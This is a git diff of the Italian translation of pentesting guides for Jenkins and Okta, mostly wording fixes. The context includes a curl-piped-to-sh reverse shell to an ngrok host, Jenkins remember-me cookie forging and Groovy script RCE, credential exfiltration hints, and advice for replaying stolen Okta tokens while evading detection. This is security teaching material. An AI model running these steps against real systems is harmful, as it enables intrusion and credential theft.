utente che non avrà pieno controllo è l'**utente anonimo**, che ottiene solo accesso **in lettura**. +- **Gli utenti autenticati possono fare qualsiasi cosa**: In questa modalità, ogni **utente autenticato ottiene il pieno controllo** di Jenkins. L'unico utente che non avrà pieno controllo è l'**utente anonimo**, che ottiene solo **accesso in lettura**. - **Sicurezza basata su matrice**: Puoi configurare **chi può fare cosa** in una tabella. Ogni **colonna** rappresenta un **permesso**. Ogni **riga** **rappresenta** un **utente o un gruppo/ruolo.** Questo include un utente speciale '**anonimo**', che rappresenta **utenti non autenticati**, così come '**autenticato**', che rappresenta **tutti gli utenti autenticati**. ![](<../../images/image (149).png>) -- **Strategia di autorizzazione basata su matrice per progetti:** Questa modalità è un'**estensione** della "**sicurezza basata su matrice**" che consente di **definire matrici ACL aggiuntive per ogni progetto separatamente.** +- **Strategia di autorizzazione basata su matrice per progetti:** Questa modalità è un'**estensione** della "**sicurezza basata su matrice**" che consente di definire una matrice ACL aggiuntiva per **ogni progetto separatamente.** - **Strategia basata su ruoli:** Consente di definire autorizzazioni utilizzando una **strategia basata su ruoli**. Gestisci i ruoli in `/role-strategy`. -## **Realm di Sicurezza** +## **Reame di Sicurezza** -In `/configureSecurity` è possibile **configurare il realm di sicurezza.** Per impostazione predefinita, Jenkins include supporto per alcuni diversi Realms di Sicurezza: +In `/configureSecurity` è possibile **configurare il reame di sicurezza.** Per impostazione predefinita, Jenkins include supporto per alcuni reami di sicurezza diversi: - **Delegare al contenitore servlet**: Per **delegare l'autenticazione a un contenitore servlet che esegue il controller Jenkins**, come [Jetty](https://www.eclipse.org/jetty/). - **Database utenti di Jenkins:** Usa **il proprio archivio dati utenti integrato di Jenkins** per l'autenticazione invece di delegare a un sistema esterno. Questo è abilitato per impostazione predefinita. - **LDAP**: Delega tutta l'autenticazione a un server LDAP configurato, inclusi sia utenti che gruppi. - **Database utenti/gruppi Unix**: **Delega l'autenticazione al database utenti** a livello di OS Unix sottostante sul controller Jenkins. Questa modalità consentirà anche il riutilizzo dei gruppi Unix per l'autorizzazione. -I plugin possono fornire ulteriori realm di sicurezza che possono essere utili per incorporare Jenkins in sistemi di identità esistenti, come: +I plugin possono fornire ulteriori reami di sicurezza che possono essere utili per incorporare Jenkins in sistemi di identità esistenti, come: - [Active Directory](https://plugins.jenkins.io/active-directory) - [Autenticazione GitHub](https://plugins.jenkins.io/github-oauth) @@ -57,17 +57,17 @@ I plugin possono fornire ulteriori realm di sicurezza che possono essere utili p Definizioni dalla [documentazione](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodi** sono le **macchine** su cui i **client di build** vengono eseguiti. Jenkins monitora ogni nodo collegato per spazio su disco, spazio temporaneo libero, swap libero, tempo/sincronizzazione dell'orologio e tempo di risposta. Un nodo viene messo offline se uno di questi valori supera la soglia configurata. +**Nodii** sono le **macchine** su cui i **client di build** vengono eseguiti. Jenkins monitora ogni nodo collegato per spazio su disco, spazio temporaneo libero, swap libero, tempo/sincronizzazione dell'orologio e tempo di risposta. Un nodo viene disconnesso se uno di questi valori supera la soglia configurata. -**Agenti** **gestiscono** l'**esecuzione dei compiti** per conto del controller Jenkins utilizzando **esecutori**. Un agente può utilizzare qualsiasi sistema operativo che supporti Java. Gli strumenti necessari per le build e i test sono installati sul nodo in cui l'agente viene eseguito; possono **essere installati direttamente o in un contenitore** (Docker o Kubernetes). Ogni **agente è effettivamente un processo con il proprio PID** sulla macchina host. +**Agenti** **gestiscono** l'**esecuzione dei compiti** per conto del controller Jenkins utilizzando **esecutori**. Un agente può utilizzare qualsiasi sistema operativo che supporta Java. Gli strumenti necessari per build e test sono installati sul nodo in cui l'agente viene eseguito; possono **essere installati direttamente o in un contenitore** (Docker o Kubernetes). Ogni **agente è effettivamente un processo con il proprio PID** sulla macchina host. -Un **esecutore** è uno **slot per l'esecuzione di compiti**; effettivamente, è **un thread nell'agente**. Il **numero di esecutori** su un nodo definisce il numero di **compiti concorrenti** che possono essere eseguiti su quel nodo in un dato momento. In altre parole, questo determina il **numero di `stages` Pipeline concorrenti** che possono essere eseguiti su quel nodo in un dato momento. +Un **esecutore** è uno **slot per l'esecuzione di compiti**; effettivamente, è **un thread nell'agente**. Il **numero di esecutori** su un nodo definisce il numero di **compiti concorrenti** che possono essere eseguiti su quel nodo contemporaneamente. In altre parole, questo determina il **numero di `stages` Pipeline concorrenti** che possono essere eseguiti su quel nodo contemporaneamente. ## Segreti di Jenkins ### Crittografia di Segreti e Credenziali -Definizione dalla [documentazione](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utilizza **AES per crittografare e proteggere segreti**, credenziali e le rispettive chiavi di crittografia. Queste chiavi di crittografia sono memorizzate in `$JENKINS_HOME/secrets/` insieme alla chiave master utilizzata per proteggere tali chiavi. Questa directory dovrebbe essere configurata in modo che solo l'utente del sistema operativo con cui viene eseguito il controller Jenkins abbia accesso in lettura e scrittura a questa directory (cioè, un valore `chmod` di `0700` o utilizzando attributi di file appropriati). La **chiave master** (a volte chiamata "chiave di crittografia" nel gergo crittografico) è **memorizzata \_non crittografata\_** nel filesystem del controller Jenkins in **`$JENKINS_HOME/secrets/master.key`** che non protegge contro gli attaccanti con accesso diretto a quel file. La maggior parte degli utenti e degli sviluppatori utilizzerà queste chiavi di crittografia indirettamente tramite l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) per crittografare dati segreti generici o tramite l'API delle credenziali. Per i curiosi della crittografia, Jenkins utilizza AES in modalità di blocco di crittografia a catena (CBC) con padding PKCS#5 e IV casuali per crittografare istanze di [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) che sono memorizzate in `$JENKINS_HOME/secrets/` con un nome file corrispondente al loro id `CryptoConfidentialKey`. Gli id di chiave comuni includono: +Definizione dalla [documentazione](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utilizza **AES per crittografare e proteggere segreti**, credenziali e le rispettive chiavi di crittografia. Queste chiavi di crittografia sono memorizzate in `$JENKINS_HOME/secrets/` insieme alla chiave master utilizzata per proteggere tali chiavi. Questa directory dovrebbe essere configurata in modo che solo l'utente del sistema operativo con cui viene eseguito il controller Jenkins abbia accesso in lettura e scrittura a questa directory (cioè, un valore `chmod` di `0700` o utilizzando attributi di file appropriati). La **chiave master** (a volte chiamata "chiave di crittografia" nel gergo crittografico) è **memorizzata \_non crittografata\_** nel filesystem del controller Jenkins in **`$JENKINS_HOME/secrets/master.key`** che non protegge contro gli attaccanti con accesso diretto a quel file. La maggior parte degli utenti e degli sviluppatori utilizzerà queste chiavi di crittografia indirettamente tramite l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) per crittografare dati segreti generici o tramite l'API delle credenziali. Per i curiosi della crittografia, Jenkins utilizza AES in modalità di blocco di crittografia a catena (CBC) con padding PKCS#5 e IV casuali per crittografare istanze di [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) che sono memorizzate in `$JENKINS_HOME/secrets/` con un nome di file corrispondente al loro id `CryptoConfidentialKey`. Gli id di chiave comuni includono: - `hudson.util.Secret`: utilizzato per segreti generici; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizzato per alcuni tipi di credenziali; @@ -75,9 +75,9 @@ Definizione dalla [documentazione](https://www.jenkins.io/doc/developer/security ### Accesso alle Credenziali -Le credenziali possono essere **scoperta a fornitori globali** (`/credentials/`) che possono essere accessibili da qualsiasi progetto configurato, o possono essere scoperte a **progetti specifici** (`/job//configure`) e quindi accessibili solo dal progetto specifico. +Le credenziali possono essere **scopate a fornitori globali** (`/credentials/`) che possono essere accessibili da qualsiasi progetto configurato, o possono essere scoperte a **progetti specifici** (`/job//configure`) e quindi accessibili solo dal progetto specifico. -Secondo [**la documentazione**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Le credenziali che sono in ambito sono rese disponibili alla pipeline senza limitazioni. Per **prevenire esposizioni accidentali nel log di build**, le credenziali sono **mascherate** dall'output regolare, quindi un'invocazione di `env` (Linux) o `set` (Windows), o programmi che stampano il loro ambiente o parametri non **rivelerebbero le credenziali nel log di build** a utenti che altrimenti non avrebbero accesso alle credenziali. +Secondo [**la documentazione**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Le credenziali che sono in ambito sono rese disponibili alla pipeline senza limitazioni. Per **prevenire esposizioni accidentali nel log di build**, le credenziali sono **mascherate** dall'output regolare, quindi un'invocazione di `env` (Linux) o `set` (Windows), o programmi che stampano il loro ambiente o parametri non **rivelerebbero** nel log di build agli utenti che altrimenti non avrebbero accesso alle credenziali. **Ecco perché, per esfiltrare le credenziali, un attaccante deve, ad esempio, codificarle in base64.** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index be7da4a71..4c8f6bd86 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -8,7 +8,7 @@ Questo è un riassunto creato dall'AI della parte del post in cui l'artefatto di ### Attack Prerequisites -- **Feature Requirement:** "Ricordami" deve essere abilitato (impostazione predefinita). +- **Feature Requirement:** "Remember me" deve essere abilitato (impostazione predefinita). - **Access Levels:** L'attaccante ha bisogno di permessi Overall/Read. - **Secret Access:** Capacità di leggere sia contenuti binari che testuali da file chiave. @@ -19,29 +19,29 @@ Questo è un riassunto creato dall'AI della parte del post in cui l'artefatto di **User Information Retrieval** - Accedi alla configurazione utente e ai segreti da `$JENKINS_HOME/users/*.xml` per ciascun utente per raccogliere: -- **Nome utente** -- **Seed utente** +- **Username** +- **User seed** - **Timestamp** -- **Hash della password** +- **Password hash** **Secret Key Extraction** - Estrai le chiavi crittografiche utilizzate per firmare il cookie: -- **Chiave segreta:** `$JENKINS_HOME/secret.key` -- **Chiave master:** `$JENKINS_HOME/secrets/master.key` -- **File chiave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- **Secret Key:** `$JENKINS_HOME/secret.key` +- **Master Key:** `$JENKINS_HOME/secrets/master.key` +- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` #### Step 2: Cookie Forging **Token Preparation** -- **Calcola il tempo di scadenza del token:** +- **Calcola il Tempo di Scadenza del Token:** ```javascript tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Aggiunge un'ora all'ora attuale ``` -- **Concatena i dati per il token:** +- **Concatena i Dati per il Token:** ```javascript token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey @@ -49,7 +49,7 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey **MAC Key Decryption** -- **Decripta il file chiave MAC:** +- **Decripta il File della Chiave MAC:** ```javascript key = toAes128Key(masterKey) // Converti la chiave master nel formato chiave AES128 @@ -70,7 +70,7 @@ tokenSignature = bytesToHexString(mac) // Converti la MAC in una stringa esadeci **Cookie Encoding** -- **Genera il cookie finale:** +- **Genera il Cookie Finale:** ```javascript cookie = base64.encode( @@ -82,13 +82,13 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature **Session Authentication** -- **Recupera i token CSRF e di sessione:** +- **Recupera i Token CSRF e di Sessione:** - Fai una richiesta a `/crumbIssuer/api/json` per ottenere `Jenkins-Crumb`. -- Cattura `JSESSIONID` dalla risposta, che sarà utilizzato insieme al cookie "remember-me". +- Cattura `JSESSIONID` dalla risposta, che sarà utilizzato insieme al cookie remember-me. **Command Execution Request** -- **Invia una richiesta POST con uno script Groovy:** +- **Invia una Richiesta POST con uno Script Groovy:** ```bash curl -X POST "$JENKINS_URL/scriptText" \ diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index d22741e5c..0d05bd93b 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Nota che questi script elencheranno solo i segreti all'interno del file `credentials.xml`, ma **i file di configurazione della build** potrebbero avere anche **ulteriori credenziali**. +> Nota che questi script elencheranno solo i segreti all'interno del file `credentials.xml`, ma i **file di configurazione della build** potrebbero avere anche **ulteriori credenziali**. Puoi **estrarre tutti i segreti dalla console dello script Groovy** in `/script` eseguendo questo codice ```java diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index bb6c20b98..20d3cdfb8 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Creazione di una nuova Pipeline +## Creare una nuova Pipeline In "Nuovo Elemento" (accessibile in `/view/all/newJob`) seleziona **Pipeline:** @@ -26,7 +26,7 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -Infine, fai clic su **Salva** e **Esegui ora** e la pipeline verrà eseguita: +Infine fai clic su **Salva** e **Esegui ora** e la pipeline verrà eseguita: ![](<../../images/image (228).png>) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 65b02b876..47c98482a 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -26,11 +26,11 @@ Oppure **prova ad accedere al percorso** `/job//configure` o `/me/my- ## Esecuzione -Se ti è permesso configurare il progetto puoi **farlo eseguire comandi quando un build ha successo**: +Se ti è permesso configurare il progetto puoi **farlo eseguire comandi quando una build ha successo**: ![](<../../images/image (98).png>) Clicca su **Salva** e **build** il progetto e il tuo **comando verrà eseguito**.\ -Se non stai eseguendo una reverse shell ma un semplice comando puoi **vedere l'output del comando all'interno dell'output del build**. +Se non stai eseguendo una reverse shell ma un semplice comando puoi **vedere l'output del comando all'interno dell'output della build**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 32c3a04d0..d4250e013 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,7 +4,7 @@ ## Jenkins RCE con Groovy Script -Questo è meno rumoroso che creare un nuovo progetto in Jenkins +Questo è meno rumoroso rispetto alla creazione di un nuovo progetto in Jenkins 1. Vai a _path_jenkins/script_ 2. All'interno della casella di testo inserisci lo script diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 9aaee817f..2cc9c19c1 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -28,22 +28,22 @@ Ci sono **utenti** (che possono essere **memorizzati in Okta,** autenticati da * Questi utenti possono essere all'interno di **gruppi**.\ Ci sono anche **autenticatori**: diverse opzioni per autenticarsi come password e vari 2FA come WebAuthn, email, telefono, okta verify (possono essere abilitati o disabilitati)... -Poi, ci sono **applicazioni** sincronizzate con Okta. Ogni applicazione avrà alcune **mappature con Okta** per condividere informazioni (come indirizzi email, nomi...). Inoltre, ogni applicazione deve essere all'interno di una **Authentication Policy**, che indica gli **autenticatori necessari** per un utente per **accedere** all'applicazione. +Poi, ci sono **applicazioni** sincronizzate con Okta. Ogni applicazione avrà una certa **mappatura con Okta** per condividere informazioni (come indirizzi email, nomi...). Inoltre, ogni applicazione deve essere all'interno di una **Authentication Policy**, che indica gli **autenticatori necessari** per un utente per **accedere** all'applicazione. > [!CAUTION] > Il ruolo più potente è **Super Administrator**. > -> Se un attaccante compromette Okta con accesso da amministratore, tutte le **app che si fidano di Okta** saranno molto probabilmente **compromesse**. +> Se un attaccante compromette Okta con accesso da amministratore, tutte le **app** che si fidano di Okta saranno molto probabilmente **compromesse**. ## Attacchi ### Localizzazione del Portale Okta -Di solito, il portale di un'azienda sarà situato in **companyname.okta.com**. Se non lo trovi, prova semplici **variazioni** di **companyname.** Se non riesci a trovarlo, è anche possibile che l'organizzazione abbia un record **CNAME** come **`okta.companyname.com`** che punta al **portale Okta**. +Di solito, il portale di un'azienda si trova in **companyname.okta.com**. Se non lo trovi, prova semplici **variazioni** di **companyname.** Se non riesci a trovarlo, è anche possibile che l'organizzazione abbia un record **CNAME** come **`okta.companyname.com`** che punta al **portale Okta**. ### Accesso a Okta tramite Kerberos -Se **`companyname.kerberos.okta.com`** è attivo, **Kerberos è utilizzato per l'accesso a Okta**, bypassando tipicamente la **MFA** per gli utenti **Windows**. Per trovare gli utenti Okta autenticati tramite Kerberos in AD, esegui **`getST.py`** con **parametri appropriati**. Dopo aver ottenuto un **ticket utente AD**, **inietta** il ticket in un host controllato utilizzando strumenti come Rubeus o Mimikatz, assicurandoti che **`clientname.kerberos.okta.com` sia nella zona "Intranet" delle Opzioni Internet**. Accedere a un URL specifico dovrebbe restituire una risposta JSON "OK", indicando l'accettazione del ticket Kerberos e concedendo accesso al dashboard di Okta. +Se **`companyname.kerberos.okta.com`** è attivo, **Kerberos è utilizzato per l'accesso a Okta**, bypassando tipicamente la **MFA** per gli utenti **Windows**. Per trovare gli utenti Okta autenticati tramite Kerberos in AD, esegui **`getST.py`** con **parametri appropriati**. Dopo aver ottenuto un **ticket utente AD**, **inietta** il ticket in un host controllato utilizzando strumenti come Rubeus o Mimikatz, assicurandoti che **`clientname.kerberos.okta.com` sia nella zona "Intranet" delle Opzioni Internet**. Accedere a un URL specifico dovrebbe restituire una risposta JSON "OK", indicando l'accettazione del ticket Kerberos e concedendo accesso alla dashboard di Okta. Compromettere l'**account di servizio Okta con il delegato SPN consente un attacco Silver Ticket.** Tuttavia, l'uso di **AES** da parte di Okta per la crittografia dei ticket richiede di possedere la chiave AES o la password in chiaro. Usa **`ticketer.py` per generare un ticket per l'utente vittima** e consegnalo tramite il browser per autenticarti con Okta. @@ -65,7 +65,7 @@ Questa tecnica implica l'hijacking di un Okta AD Agent ottenendo prima un OAuth **Controlla l'attacco in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -La tecnica implica **l'implementazione di un provider SAML falso**. Integrando un Identity Provider (IdP) esterno all'interno del framework di Okta utilizzando un account privilegiato, gli attaccanti possono **controllare l'IdP, approvando qualsiasi richiesta di autenticazione a piacimento**. Il processo comporta la configurazione di un IdP SAML 2.0 in Okta, manipolando l'URL di Single Sign-On dell'IdP per il reindirizzamento tramite il file hosts locale, generando un certificato autofirmato e configurando le impostazioni di Okta per corrispondere al nome utente o all'email. Eseguire con successo questi passaggi consente di autenticarsi come qualsiasi utente Okta, bypassando la necessità di credenziali individuali, elevando significativamente il controllo degli accessi in modo potenzialmente inosservato. +La tecnica implica **implementare un provider SAML falso**. Integrando un Identity Provider (IdP) esterno all'interno del framework di Okta utilizzando un account privilegiato, gli attaccanti possono **controllare l'IdP, approvando qualsiasi richiesta di autenticazione a piacimento**. Il processo comporta la configurazione di un IdP SAML 2.0 in Okta, manipolando l'URL di Single Sign-On dell'IdP per la reindirizzazione tramite il file hosts locale, generando un certificato autofirmato e configurando le impostazioni di Okta per corrispondere al nome utente o all'email. Eseguire con successo questi passaggi consente di autenticarsi come qualsiasi utente Okta, bypassando la necessità di credenziali individuali, elevando significativamente il controllo degli accessi in modo potenzialmente inosservato. ### Attacco di impersonificazione di un collega @@ -78,23 +78,23 @@ Pertanto, l'app dovrebbe avere questo campo abilitato se esiste:
-Ho anche visto altre app che erano vulnerabili ma non avevano quel campo nelle impostazioni di Okta (alla fine, diverse app sono configurate in modo diverso). +Ho anche visto altre app che erano vulnerabili ma non avevano quel campo nelle impostazioni di Okta (alla fine diverse app sono configurate in modo diverso). Il modo migliore per scoprire se puoi impersonare qualcuno su ciascuna app sarebbe provarlo! ## Evitare le politiche di rilevamento comportamentale -Le politiche di rilevamento comportamentale in Okta potrebbero essere sconosciute fino a quando non vengono incontrate, ma **bypassarle** può essere ottenuto **mirando direttamente alle applicazioni Okta**, evitando il dashboard principale di Okta. Con un **token di accesso Okta**, riproduci il token all'**URL specifico dell'applicazione Okta** invece della pagina di accesso principale. +Le politiche di rilevamento comportamentale in Okta potrebbero essere sconosciute fino a quando non vengono incontrate, ma **bypassarle** può essere ottenuto **mirando direttamente alle applicazioni Okta**, evitando la dashboard principale di Okta. Con un **token di accesso Okta**, riproduci il token all'**URL specifico dell'applicazione Okta** invece della pagina di accesso principale. Le raccomandazioni chiave includono: - **Evitare di utilizzare** proxy di anonimizzazione popolari e servizi VPN quando si riproducono token di accesso catturati. - Assicurati che ci siano **stringhe user-agent coerenti** tra il client e i token di accesso riprodotti. - **Astenersi dal riprodurre** token di utenti diversi dallo stesso indirizzo IP. -- Fai attenzione quando riproduci token contro il dashboard di Okta. +- Fai attenzione quando riproduci token contro la dashboard di Okta. - Se sei a conoscenza degli indirizzi IP dell'azienda vittima, **limita il traffico** a quegli IP o al loro intervallo, bloccando tutto il resto del traffico. -## Indurimento di Okta +## Rafforzamento di Okta Okta ha molte configurazioni possibili, in questa pagina troverai come rivederle affinché siano il più sicure possibile: diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 3dc857522..d233e7715 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,9 +6,9 @@ ### People -Dal punto di vista di un attaccante, questo è super interessante poiché sarà possibile vedere **tutti gli utenti registrati**, i loro **indirizzi email**, i **gruppi** di cui fanno parte, i **profili** e persino i **dispositivi** (mobile insieme ai loro OS). +Dal punto di vista di un attaccante, questo è super interessante poiché potrai vedere **tutti gli utenti registrati**, i loro **indirizzi email**, i **gruppi** di cui fanno parte, i **profili** e persino i **dispositivi** (mobile insieme ai loro OS). -Per una revisione whitebox controlla che non ci siano più di "**Azione utente in sospeso**" e "**Ripristino password**". +Per una revisione whitebox controlla che non ci siano diversi "**Pending user action**" e "**Password reset**". ### Groups @@ -25,7 +25,7 @@ Trova qui un **elenco di tutti i dispositivi** di tutti gli utenti. Puoi anche v ### Profile Editor -Qui è possibile osservare come informazioni chiave come nomi, cognomi, email, nomi utente... sono condivisi tra Okta e altre applicazioni. Questo è interessante perché se un utente può **modificare in Okta un campo** (come il suo nome o email) che poi è utilizzato da un **applicazione esterna** per **identificare** l'utente, un insider potrebbe cercare di **prendere il controllo di altri account**. +Qui è possibile osservare come informazioni chiave come nomi, cognomi, email, nomi utente... sono condivisi tra Okta e altre applicazioni. Questo è interessante perché se un utente può **modificare in Okta un campo** (come il suo nome o email) che poi è usato da un **applicazione esterna** per **identificare** l'utente, un insider potrebbe cercare di **prendere il controllo di altri account**. Inoltre, nel profilo **`User (default)`** di Okta puoi vedere **quali campi** ciascun **utente** ha e quali sono **scrivibili** dagli utenti. Se non riesci a vedere il pannello di amministrazione, vai semplicemente a **aggiornare le informazioni del tuo profilo** e vedrai quali campi puoi aggiornare (nota che per aggiornare un indirizzo email dovrai verificarlo). @@ -33,11 +33,11 @@ Inoltre, nel profilo **`User (default)`** di Okta puoi vedere **quali campi** ci Le directory ti consentono di importare persone da fonti esistenti. Immagino che qui vedrai gli utenti importati da altre directory. -Non l'ho visto, ma immagino che sia interessante scoprire **altre directory che Okta sta utilizzando per importare utenti** così se **comprometti quella directory** potresti impostare alcuni valori di attributi negli utenti creati in Okta e **forse compromettere l'ambiente Okta**. +Non l'ho visto, ma immagino che sia interessante scoprire **altre directory che Okta sta usando per importare utenti** così se **comprometti quella directory** potresti impostare alcuni valori di attributi negli utenti creati in Okta e **forse compromettere l'ambiente Okta**. ### Profile Sources -Una fonte di profilo è un **applicazione che funge da fonte di verità** per gli attributi del profilo utente. Un utente può essere sorgente solo da un'applicazione o directory alla volta. +Una fonte di profilo è un'**applicazione che funge da fonte di verità** per gli attributi del profilo utente. Un utente può essere sorgente solo da un'applicazione o directory alla volta. Non l'ho visto, quindi qualsiasi informazione sulla sicurezza e hacking riguardo a questa opzione è apprezzata. @@ -47,7 +47,7 @@ Non l'ho visto, quindi qualsiasi informazione sulla sicurezza e hacking riguardo Controlla nella scheda **Domains** di questa sezione gli indirizzi email utilizzati per inviare email e il dominio personalizzato all'interno di Okta dell'azienda (che probabilmente già conosci). -Inoltre, nella scheda **Setting**, se sei admin, puoi "**Usare una pagina di disconnessione personalizzata**" e impostare un URL personalizzato. +Inoltre, nella scheda **Setting**, se sei admin, puoi "**Use a custom sign-out page**" e impostare un URL personalizzato. ### SMS @@ -67,7 +67,7 @@ Impostazione interessante, ma nulla di super interessante dal punto di vista del Qui puoi trovare tutte le **applicazioni configurate** e i loro dettagli: Chi ha accesso a esse, come è configurato (SAML, OpenID), URL per il login, le mappature tra Okta e l'applicazione... -Nella scheda **`Sign On`** c'è anche un campo chiamato **`Password reveal`** che consentirebbe a un utente di **rivelare la sua password** quando controlla le impostazioni dell'applicazione. Per controllare le impostazioni di un'applicazione dal Pannello Utente, fai clic sui 3 punti: +Nella scheda **`Sign On`** c'è anche un campo chiamato **`Password reveal`** che consentirebbe a un utente di **rivelare la sua password** quando controlla le impostazioni dell'applicazione. Per controllare le impostazioni di un'applicazione dal Pannello Utente, clicca sui 3 punti:
@@ -79,7 +79,7 @@ E potresti vedere alcuni dettagli in più sull'app (come la funzione di rivelazi ### Access Certifications -Usa le Access Certifications per creare campagne di audit per rivedere periodicamente l'accesso dei tuoi utenti alle risorse e approvare o revocare l'accesso automaticamente quando necessario. +Usa le Access Certifications per creare campagne di audit per rivedere periodicamente l'accesso degli utenti alle risorse e approvare o revocare automaticamente l'accesso quando necessario. Non l'ho visto utilizzato, ma immagino che da un punto di vista difensivo sia una bella funzionalità. @@ -87,14 +87,14 @@ Non l'ho visto utilizzato, ma immagino che da un punto di vista difensivo sia un ### General -- **Email di notifica di sicurezza**: Tutte dovrebbero essere abilitate. -- **Integrazione CAPTCHA**: È consigliato impostare almeno il reCaptcha invisibile. -- **Sicurezza dell'organizzazione**: Tutto può essere abilitato e le email di attivazione non dovrebbero durare a lungo (7 giorni va bene). -- **Prevenzione dell'enumerazione degli utenti**: Entrambi dovrebbero essere abilitati. -- Nota che la Prevenzione dell'Enumerazione degli Utenti non ha effetto se una delle seguenti condizioni è consentita (vedi [Gestione utenti](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) per ulteriori informazioni): -- Registrazione Self-Service +- **Security notification emails**: Tutti dovrebbero essere abilitati. +- **CAPTCHA integration**: È consigliato impostare almeno il reCaptcha invisibile. +- **Organization Security**: Tutto può essere abilitato e le email di attivazione non dovrebbero durare a lungo (7 giorni va bene). +- **User enumeration prevention**: Entrambi dovrebbero essere abilitati. +- Nota che la prevenzione dell'enumerazione degli utenti non ha effetto se una delle seguenti condizioni è consentita (vedi [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) per ulteriori informazioni): +- Registrazione self-service - Flussi JIT con autenticazione email -- **Impostazioni Okta ThreatInsight**: Registra e applica la sicurezza in base al livello di minaccia. +- **Okta ThreatInsight settings**: Registra e applica la sicurezza in base al livello di minaccia. ### HealthInsight @@ -122,7 +122,7 @@ Qui puoi trovare le politiche di sessione assegnate a diversi gruppi. Ad esempio
-È consigliato richiedere MFA, limitare la durata della sessione a qualche ora, non persistere i cookie di sessione attraverso le estensioni del browser e limitare la posizione e il Provider di Identità (se questo è possibile). Ad esempio, se ogni utente dovrebbe accedere da un paese, potresti consentire solo questa posizione. +È consigliato richiedere MFA, limitare la durata della sessione a qualche ora, non persistere i cookie di sessione attraverso le estensioni del browser e limitare la posizione e il Provider di Identità (se questo è possibile). Ad esempio, se ogni utente dovrebbe accedere da un paese specifico, potresti consentire solo questa posizione. ### Identity Providers @@ -144,19 +144,19 @@ Una zona di rete è un confine configurabile che puoi utilizzare per **concedere Dopo aver definito una o più zone di rete, puoi **utilizzarle nelle Politiche di Sessione Globali**, **politiche di autenticazione**, notifiche VPN e **regole di instradamento**. -Dal punto di vista di un attaccante è interessante sapere quali IP sono consentiti (e controllare se ci sono **IP più privilegiati** di altri). Dal punto di vista di un attaccante, se gli utenti dovrebbero accedere da un indirizzo IP o regione specifici controlla che questa funzione sia utilizzata correttamente. +Dal punto di vista di un attaccante è interessante sapere quali IP sono consentiti (e controllare se ci sono **IP più privilegiati** di altri). Dal punto di vista di un attaccante, se gli utenti dovrebbero accedere da un indirizzo IP o regione specifica controlla che questa funzione sia utilizzata correttamente. ### Device Integrations - **Endpoint Management**: La gestione degli endpoint è una condizione che può essere applicata in una politica di autenticazione per garantire che i dispositivi gestiti abbiano accesso a un'applicazione. - Non l'ho ancora visto utilizzato. TODO -- **Servizi di notifica**: Non l'ho ancora visto utilizzato. TODO +- **Notification services**: Non l'ho ancora visto utilizzato. TODO ### API -Puoi creare token API di Okta in questa pagina e vedere quelli che sono stati **creati**, i loro **privilegi**, il **tempo di scadenza** 